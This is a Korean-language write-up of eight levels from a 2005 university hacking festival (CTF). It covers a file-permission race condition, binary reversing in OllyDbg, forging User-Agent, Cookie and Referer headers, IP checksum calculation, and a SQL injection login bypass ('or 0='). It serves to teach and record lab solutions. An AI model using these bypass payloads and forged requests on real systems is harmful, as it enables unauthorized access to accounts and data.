========================== / SoonChunhyang Univ. / / Hacking Festival / / (report) / ========================== [hkpco@ns hkpco]# whoami id / hkpco mail&msn / hkpco@korea.com homepage / http://hkpco.kr/ name / 박찬암 school / 남산고등학교 | Contents | ---------------------------------------------------------------- 1. level1 - Computer Knowledge Test | 2. level2 - Finding Directory and Similar Race Condition | 3. level3 - Equation problem and Interrupt | 4. level4 - Reverse Engineering -1 | 5. level5 - Guessing Account and Using a Method | 6. level6 - Checksum calculation | 7. level7 - Sql Injection | 8. level8 - Reverse Engineering -2 | ---------------------------------------------------------------- !!!!!!!!!!!!!!!!!! level1 - Computer Knowledge Test !!!!!!!!!!!!!!!!!! /* 18문제 이상 맞춰야 패스워드가 주어 집니다. */ level1은 랜덤으로 출력된 20개의 문제중 18문제 이상을 맞추면 다름 레벨로 진입 할 수 있습니다. 구글 등의 검색앤진을 이용하시면 쉽게 풀 수 있습니다. 그리고 다른 방법은, 18문제 이상을 맞추지 못하면 "틀렸습니다." 라고 출력 해 주는데 거기서 뒤로가기 버튼을 누르면 우리가 풀었던 답과 문제가 그대로 있습니다. 그래서 틀린 문제는 수정하여 다시 풀면 더욱 쉽게 풀 수 있습니다. { 18개 이상을 맞춘 경우 출력 } 18 개 마추었 습니다. level1 password is : no surprise !!!!!!!!!!!!!!!!!! level2 - Finding Directory and Similar Race Condition !!!!!!!!!!!!!!!!!! /* 59.27.205.110 id: level2 */ 서버와 아이디만 주어졌습니다. 처음엔 ssh brute_force인줄 알고 시도하려 하였는데 알고보니 level1에서 나왔던 정답이 level2계정의 패스워드였습니다. 문제서버에 접속을 한 뒤 ls -al 명령으로 파일을 보니 3개의 이름없는 디렉토리가 의심스러웠습니다. ssh login: level2 Password: Last login: Mon Nov 28 21:10:17 2005 from 61.99.161.93 [level2@stage1 ~]$ ls -al 刺怨 44 drwxr-xr-x 3 root root 4096 11? drwxr-xr-x 2 root root 4096 11? drwxr-x--- 5 root level2 4096 11? drwxr-xr-x 5 root root 4096 11?. lrwxrwxrwx 1 root root 9 11?bash_history -> /dev/null -rw-r--r-- 1 level2 level2 24 11?bash_logout -rw-r--r-- 1 level2 level2 191 11?bash_profile -rw-r--r-- 1 level2 level2 124 11?bashrc -rwxr-xr-x 1 marilyn marilyn 1167 11?viminfo 탭키를 이용하여 더 자세한 이름을 보았습니다. [level2@stage1 ~]$ ls [tab][tab] ^B/ .bash_history .bash_profile .viminfo Hint ^V/ .bash_logout .bashrc ?/ ^B , ^V , ^? 셋중 하나로 들어가면 될 것 입니다. 디렉토리 명을 확인하기 위하여 hexdump명령 또는 xxd명령으로 해당 디렉의 16진수 코드를 볼 수 있습니다. [level2@stage1 ~]$ ls|xxd 0000000: 020a 160a 3f0a 4869 6e74 0a ....?.Hint. 살펴본 결과 ^B에 password파일이 들어있다는 것을 확인하였습니다. 하지만, password파일을 level2의 권한으론 읽을 수 없었습니다. [level2@stage1 ~]$ cd `printf "\x02"` [level2@stage1 ]$ ls chamber of secret [level2@stage1 ]$ cd chamber\ of\ secret\ \ \ \ \ \ \ \ \ \ \ \ \ \ / [level2@stage1 chamber of secret ]$ ls password tmp [level2@stage1 chamber of secret ]$ ls -l password -r--r----- 1 root root 42 11?assword 계속 헤메이던 중, password파일의 other에 한번씩 read 퍼미션이 주어진다는것을 확인하였습니다. [level2@stage1 chamber of secret ]$ ls -al password -r--r----- 1 root root 42 11?assword [level2@stage1 chamber of secret ]$ ls -al password -r--r----- 1 root root 42 11?assword [level2@stage1 chamber of secret ]$ ls -al password -r--r----- 1 root root 42 11?assword [level2@stage1 chamber of secret ]$ ls -al password -r--r----- 1 root root 42 11?assword [level2@stage1 chamber of secret ]$ ls -al password -r--r----- 1 root root 42 11?assword [level2@stage1 chamber of secret ]$ ls -al password -r--r--r-- 1 root root 42 11?assword ↑ other에 read권한이 주어짐!. 이제 password파일을 loop문으로 계속 읽도록 코딩하면 답이 나올것입니다. 간단히 C로 코딩하였습니다. - read_loop.c - #include #include int main( void ) { while(1) { system( "cat /home/level2/\`printf \"\x02\"\`/cha\*/password" ); } } [level2@stage1 tmp]$ cat > read_loop.c #include #include int main( void ) { while(1) { system( "cat /home/level2/\`printf \"\x02\"\`/cha\*/password" ); } } [level2@stage1 tmp]$ gcc -o read_loop read_loop.c [level2@stage1 tmp]$ ./read_loop 2>/dev/null good job :) password is "info security" !!!!!!!!!!!!!!!!!! level3 - Equation problem and Interrupt !!!!!!!!!!!!!!!!!! /* 59.27.205.110 id: level3 [level3@stage1 ~]$ cat Hint x*x*x*x - 34*x*x*x - 340*x*x + 1858*x + 12915 a < b < c < d */ level3의 계정도 역시 level2에서 획득한 패스워드로 접속하면 됩니다. 서버에 접속하여 Hint 파일을 보면 위와같은 4차방정식이 나오는데요, 방정식을 푸는 방법은 직접 손으로 풀거나, 매틀랩(Matlab) 이라는 프로그램을 이용하면 손쉽게 근을 구할 수 있습니다. 그렇게해서 나온 근은 아래와 같습니다. a < b < c < d -9 < -5 < 7 < 41 이제, 문제파일인 level3과 저 근을 연관시켜야 합니다. level3의 문제 프로그램을 실행하니 약 1초간격으로 OOps d = 1 , OOps d = 2 , OOps d = 3 ........ 이런식으로 출력되고 있었습니다. 뭔지 몰라 종료하려고 ctrl+c , ctrl+x 등의 인터립트를 보내어 보니 아래와 같이, 해당 인터립트마다 근과 같은값들이 증가 혹은 감소 되었습니다. OOps a = -1 , OOps c = 1 , OOps d = 12 ................ 그래서 잠시 생각한 결과, level3 프로그램을 실행시켜 각각의 인터립트를 보내어 우리가 구했던 근들의 값으로 조절하여 보았습니다. 각각의 근들은 아래와 같이 인터립트를 보내면 조절되어 집니다. ========================== a = Ctrl + C b = Ctrl + \ c = Ctrl + Z d = 1sec마다 +1씩 증가 ========================== 위와같은 방식으로 a,b,c,d의 값을 변경하면( 단, d가 41이 되기 전에 a,b,c값을 모두 수정해 주어야 합니다. ) 조금 후에 패스워드가 뜨게됩니다. OOps d = 38 OOps d = 39 OOps d = 40 OOps d = 41 rage against the cracker OOps d = 42 OOps d = 43 OOps d = 44 OOps d = 45 OOps d = 46 OOps d = 47 !!!!!!!!!!!!!!!!!! level4 - Reverse Engineering -1 !!!!!!!!!!!!!!!!!! /* http://59.27.205.110/level4/tksgkr/quest4.exe */ 리버스엔지니어링 문제입니다. 이번 문제는 약간 다른곳에 시간을 빼앗긴것 같습니다. ^^ 처음에는 리버싱을 하려고 하지 않고 문제가 있는 서버의 ip, 대회서버의 ip range를 예전에 제가 만들어 놓은 hkscan으로 x.x.x.0 ~ x.x.x.255 , y.y.y.0 ~ y.y.y.255 까지의 범위중 80번포트가 열린 곳만 찾아서 웹페이지에서 .index.bak을 요청해 보았습니다. 하지만, 요청방법이 잘못되어 결국엔 리버싱을 한 뒤, 아이피를 찾아 고민끝에 알아내게 되었습니다. 우선, level4.exe파일을 받은 뒤 ollydbg로 파일을 open합니다. 천천히 살펴보니 입력한 ip를 80번포트로 아래와같이 요청해 주었습니다. GET .index.bak HTTP/1.0 User-Agent: HTTPTEST 아마도 특정 웹서버의 주소만 찾으면 문제의 답은 쉽게 알아 낼 수 있을것 같아 디버깅을 하였습니다. [Search for] -> [All referenced text strings]으로 살펴 보니 다음과같은 네개의 값이 의심스러웠습니다. 1) ASCII "0592842722" 2) ASCII "2027148262" 3) ASCII "2320512323" 4) ASCII "2221114222" 아마도 이 네개의 값이 ip를 얻을 수 있는 원천이 되는것 같았습니다. 1) 에 break를 걸고 run을 하여 아무 정수값이나 넣은 뒤 F8을 이용하여 하나하나씩 살펴갔습니다. 조금 가니 loop가 총 4번 순환하는데 ip가 만들어지고 있었습니다!.. F8을 이용하여 4번 모두 순환시키고 보니 우리가 구하고자했던 ip가 바로 문제서버의 ip였습니다!.. 아.. 위에서 ip_range를 scan하여 요청을 보낼때 제대로 보냈었더라면 이런 시간낭비는 없었을꺼란 생각이 충격과함께 들었습니다. telnet명령을 이용하여 80번포트로 접속한 뒤 .index.bak을 요청하면 정답이 나오게 됩니다. [hkpco@ns sch]$ telnet 59.027.205.111 80 Trying 59.27.205.111... Connected to 59.027.205.111. Escape character is '^]'. GET /.index.bak HTTP/1.0 HTTP/1.1 200 OK Date: Sun, 27 Nov 2005 16:43:29 GMT Server: Apache/2.0.52 (Fedora) Last-Modified: Sat, 26 Nov 2005 00:17:50 GMT ETag: "a81d0-3a-ccdb4780" Accept-Ranges: bytes Content-Length: 58 Connection: close Content-Type: text/plain; charset=UTF-8 ISEhTGV2ZWw0ICEhIQ0KUGFzc3dvcmQgOiBrbm93IHlvdXIgZW5lbXk= Connection closed by foreign host. 패스워드는 ISEhTGV2ZWw0ICEhIQ0KUGFzc3dvcmQgOiBrbm93IHlvdXIgZW5lbXk= 이지만 base64로 encoding된것을 풀면, !!!Level4 !!! Password : know your enemy 최종적인 답이 구해집니다. !!!!!!!!!!!!!!!!!! level5 - Guessing Account and Using a Method !!!!!!!!!!!!!!!!!! /* http://59.27.205.110/level5/guqehdrhks/level5.html 로그인 : id : pass : level5은 보안성이 뛰어난 "SecurityFirst Explorer" 를 사용하여야 하고 192.168.111.222/level5.html 페이지에서 접근 하여야 한다. guest page | level5 page */ 이번 문제는 id와pass를 추측하여 문제서버의 내부서버에서 문제서버의 level5페이지로 접근하여야 합니다. 아마도 guest page 라고 되어있는것을 보아 아이디는 guest인것 같습니다.( 나중에 힌트에도 guest라고 나왔구요.. ^^ ) pass는 a로 시작하는 4글자였습니다. 몇번의 추측결과 pass가 asdf라는것을 간단하게 알 수 있었습니다. 로그인을 하면 `guest 로 로그인 되었습니다` 라는 메시지가 뜬 뒤, refresh로 다시 문제페이지로 이동하게 됩니다. javascript:document.cookie를 이용하여 쿠키값을 확인해 보았습니다. user=guest 라는 값이 나온걸 보아 아마도 level5의 쿠키는 user=level5로 인증하면 될것입니다. 다음, SecurityFirst Explorer이라는 웹브라우저를 사용해야한다고 되어있는데, 브라우저의 정보는 User-Agent에 있기 때문에, 우리는 User-Agent의 값을 SecurityFirst Explorer로 만들어 주면 간단히 브라우저의 체크도 통과 할 수 있습니다. 위의 내용들을 모아 요청을 보내 보았습니다. [hkpco@ns hkpco]$ telnet 59.27.205.110 80 Trying 59.27.205.110... Connected to 59.27.205.110. Escape character is '^]'. GET http://59.27.205.110/level5/guqehdrhks/level5.php HTTP/1.0 User-Agent: SecurityFirst Explorer Cookie: user=level5; HTTP/1.1 200 OK Date: Mon, 28 Nov 2005 12:00:55 GMT Server: Apache/2.0.53 (Fedora) X-Powered-By: PHP/4.3.11 Content-Length: 134 Connection: close Content-Type: text/html; charset=EUC-KR Content-Language: kr Connection closed by foreign host. 192.168.111.222/level5.html에서 접근하여야 한다며 답을 알려주지 않습니다. 처음엔 너무 정신이 없었던 나머지 192.168.111.222/level5.html로 접근 하여야 하는 줄 알고 헤메였습니다. 다시보니 192.168.111.222/level5.html에서 접근하는 것이여서 Referer method를 이용하였습니다. Referer은 어떠한 페이지에 접근하기 바로 전 페이지를 나타내어 줍니다. 다시 한번 Referer을 추가시켜 요청을 보내어 보겠습니다. [hkpco@ns sch]$ telnet 59.27.205.112 80 Trying 59.27.205.112... Connected to 59.27.205.112. Escape character is '^]'. GET http://59.27.205.112/level5/guqehdrhks/level5.php HTTP/1.0 User-Agent: SecurityFirst Explorer Referer: 192.168.111.222/level5.html Cookie: user=level5; HTTP/1.1 200 OK Date: Sun, 27 Nov 2005 20:30:00 GMT Server: Apache/2.0.52 (Fedora) X-Powered-By: PHP/4.3.9 Content-Length: 81 Connection: close Content-Type: text/html; charset=EUC-KR
level5 님 안녕하세요.
level5 님의 패스워드는 plastic tree 입니다.
Connection closed by foreign host. level5의 패스워드를 획득하였습니다!. !!!!!!!!!!!!!!!!!! level6 - Checksum calculation !!!!!!!!!!!!!!!!!! /* http://59.27.205.110/level6/WkWk/level6.html IPv4 header (1) -------------------------------- 45 00 00 40 F5 DA 40 00 80 06 C0 A8 00 02 42 A1 27 C3 IPv4 header (2) -------------------------------- 45 00 00 3E 24 BD 00 00 80 11 3B 1B CD 78 A8 7E 3F 01 */ 각각 2칸씩 총 4칸 비워져 있는데, 패킷을 캡쳐해 보면 저 빈칸이 Checksum값인것을 쉽게 알 수 있습니다. 값을 분석해 보면 아래와 같이 나오게 됩니다. (45 00)ip_version (00 40)total_length (F5 DA)id (40 00)flags (80)time_to_live: 128 (06)protocol -TCP ( )check_sum (C0 A8 00 02)source_ip: 192.168.0.2 (42 A1 27 C3)des_ip : 66.161.39.195 (45 00)ip_version (00 3E)total_length (24 BD)id (00 00)flags (80)time_to_live (11)protocol ( )check_sum (3B 1B CD 78)source_ip: 59.27.205.120 (A8 7E 3F 01)des_ip : 168.126.63.1 이 값들을 raw소켓을 할때 쓰이는 checksum계산함수를 이용하여 구할수도 있고, 계산법을 가지고 직접 계산하는 방법도 있습니다. 여기서는 계산하는 방법으로 IPv4 header (1) 의 checksum만 구해보겠습니다. {checksum 계산} ================================================================ 1. 16비트 단위로 헤더를 전부 더한다. 2. 합이 16비트가 넘으면 16비트 단위로 더해서 16비트로 만든다. 3. 1의 보수로 만들면 체크섬이 된다. ================================================================ 4500+0040+F5DA+4000+8006+C0A8+0002+42A1+27C3 = 3262E ( 16비트 단위로 헤더를 더합니다 ) 3262E = 262E , 0003 / 262E + 0003 = 2631 ( 합이 16비트가 넘으므로 16비트단위로 더해서 16비트로 만듭니다 ) 0010 0110 0011 0001 -> 1101 1001 1100 1110 ( 2진수로 바꾼 뒤 1의 보수를 취합니다 ) 11011001 11001110 -> D9 DE ( D9와 DE가 IPv4 header(1)의 checksum이 됩니다 ) 이러한 식으로 IPv4 header(2)까지 구해서 값을넣어 보내면... password is "packet storm" !!!!!!!!!!!!!!!!!! level7 - Sql Injection !!!!!!!!!!!!!!!!!! /* http://59.27.205.110/level7/dkdfl/level7.html 이 름 : 별 명 : 등록번호 : [ 확인하기 ] */ 모든분들이 제일 빨리 푼 머리를 맑게하는 문제인것 같습니다. :-) 이름과 별명, 등록번호 란에 각각 값을 집어넣은 뒤 확인하기 버튼을 누르면 우리가 입력했던 값이 나옵니다. javascript:document.cookie를 이용하여 쿠키값을 보게되면 등록번호란에 입력하였던 값이 쿠키가 됩니다. 그래서 이 부분을 우회하도록 간단한 sql문을 삽입하면 인증을 통과하게되어, 관리자와 동등한 권한으로 본인 뿐만 아니라 다른사람이 입력한 값들도 모두 볼 수 있게 됩니다. 등록번호란에 'or 0=' 와같은 sql인증을 우회하는 쿼리문을 넣은뒤 전송하여 확인하기를 클릭해 보면 모든 사람들이 입력한 쿼리문을 확인 할 수 있는데 찾아보면, 그 중 패스워드가 있습니다. *********************************************** your information : 이 름 : password is : 별 명 : comeasyouare 등록번호 : 2002338720034713 *********************************************** password is comeasyouare ^^ !!!!!!!!!!!!!!!!!! level8 - Reverse Engineering -2 !!!!!!!!!!!!!!!!!! /* http://59.27.205.110/level8/chlrhdi/level8.exe */ 드디어 마지막 문제에 정착하였습니다. level8도 역시나 level4에서처럼 리버스엔지니어링으로 푸는 문제입니다. 프로그램을 실행시켜보니 옆쪽에 16진수 코드가 있길래 간단한 프로그램을 이용하여 문자로 변환시켜 보았습니다. [hkpco@ns public_html]$ cat hk.c /* made by hkpco mail&msn : hkpco@korea.com homepage : http://hkpco.kr/ */ #include #include #include #include int main( int argc , char **argv ) { int i=0; int s=0; char *ch[256] = { 0x00, }; if( argc < 3 ) { fprintf( stderr , "fuck\n" ); return -1; } do { if( i== 0 ) ch[i] = strtok( argv[1] , argv[2] ); sscanf( ch[i] , "%x" , &s ); printf( "%c" , s ); i++; } while( ch[i] = strtok( NULL , argv[2] ) ); printf( "\n" ); return 0; } [hkpco@ns public_html]$ ./hk "3B 10 40 00 00 00 00 00 6F 75 20 61 47 6F 6F 64 20 49 73 20 72 79 20 79 20 00 00 00 72 65 20 77 00 00 00 00 18 22 40 00 00 00 00 00 88 FE 12 00 98 0A 00 00" " " ;@ou aGood Is ry y re w"@? 지금보니 문제풀이와는 직접적 연관이 없는것 같았습니다. 이제 리버싱을 해 보겠습니다. ollydbg를 이용하여 level8.exe문제를 open합니다. [Search for] -> [All referenced text strings]를 이용하여 모든 문자열을 찾습니다. ASCII " Sorry You are wrong " ASCII "Good Job! Serial Is Right!" ASCII " Sorry You are wrong " ASCII " Sorry You are wrong " ASCII "sch_sf.exe" 이부분들이 문제풀이와 연관성이 있는것처럼 보입니다. ASCII " Sorry You are wrong " ASCII "Good Job! Serial Is Right!" ASCII " Sorry You are wrong " ASCII " Sorry You are wrong " 여기에 break를 걸고 프로그램을 실행시켜 임의의 문자열과 정수를 입력한 뒤 실행합니다. 그럼 우리가 break를 걸었던 부분으로 이동하게 됩니다. 00401749 |. 68 44404000 PUSH level8.00404044 ; ASCII " Sorry You are wrong " 이부분에서 조금만 위쪽으로 가게되면 0040170C /$ 55 PUSH EBP 이렇게 프로그램내의 부분적인 루틴이 시작하는 부분이 있게됩니다. 아랫쪽 박스에 보니 Local call from 004016E6이라고 나와있는데 이곳을 call한 부분으로 이동하기 위하여 [Go to] -> [Call from 004016E6] 을 수행합니다. 그럼 바로 위쪽 어디로 갈건데, 위로 따라가서 아래와 같이 그 루틴의 시작부분 으로 이동합니다. 0040142B /. 55 PUSH EBP 여기서 아이디를 가지고 암호화하여 저장하고 비교하는 구문이 존재하게 됩니다. 계속 따라가면서 추적해 나가면 되지만, 주의해야 할 것은 파일네임이 sch_sf.exe이어야 인증중 하나를 통과 할 수 있습니다. 아래 보시는 부분이 바로 우리가 입력한 값과 시리얼 번호를 비교하는 구문입니다. 004016BB |. 3B42 60 CMP EAX,DWORD PTR DS:[EDX+60] 이럼 이제 이곳에만 break를 걸고 다시 프로그램을 실행시켜 임의의 문자열과 정수를 입력합니다. 그럼 우리가 break한 곳으로 이동하게 되는데 아랫쪽 박스에 보시면 EAX에 들어가는 값이 우리가 원하는 시리얼 번호입니다. 하지만 문제에서 원한 Input Name도 충족시켜 줘야하는데, 그 부분은 게시판에 문제에대한 공지를 보시면 알 수 있습니다. -> Name - securityfirst 에 대한 답을 구하되, 바이너리를 패치하거나 리버싱 과정중 루틴 수정은 불가, 있는 그대로 풀어야 합니다. <- Input Name이 securityfirst가 되어야 합니다. 그럼 다시 시리얼 비교구문에 break를 걸고 Input Name에 securityfirst를 입력한 뒤 확인하시면 CMP구문에 break가 걸리게 되고 그 아래 박스에 보시면, EAX값이 시리얼 번호가 됩니다. Stack DS:[0012FEE4]=423A35C7 EAX=1AE55C30 EAX의 값인 1AE55C30를 10진수로 바꾸면 드디어 우리가 원하는 최종적인 답이 탄생하게됩니다. 1AE55C30 -> 451238960 그리고...... Level Clear...!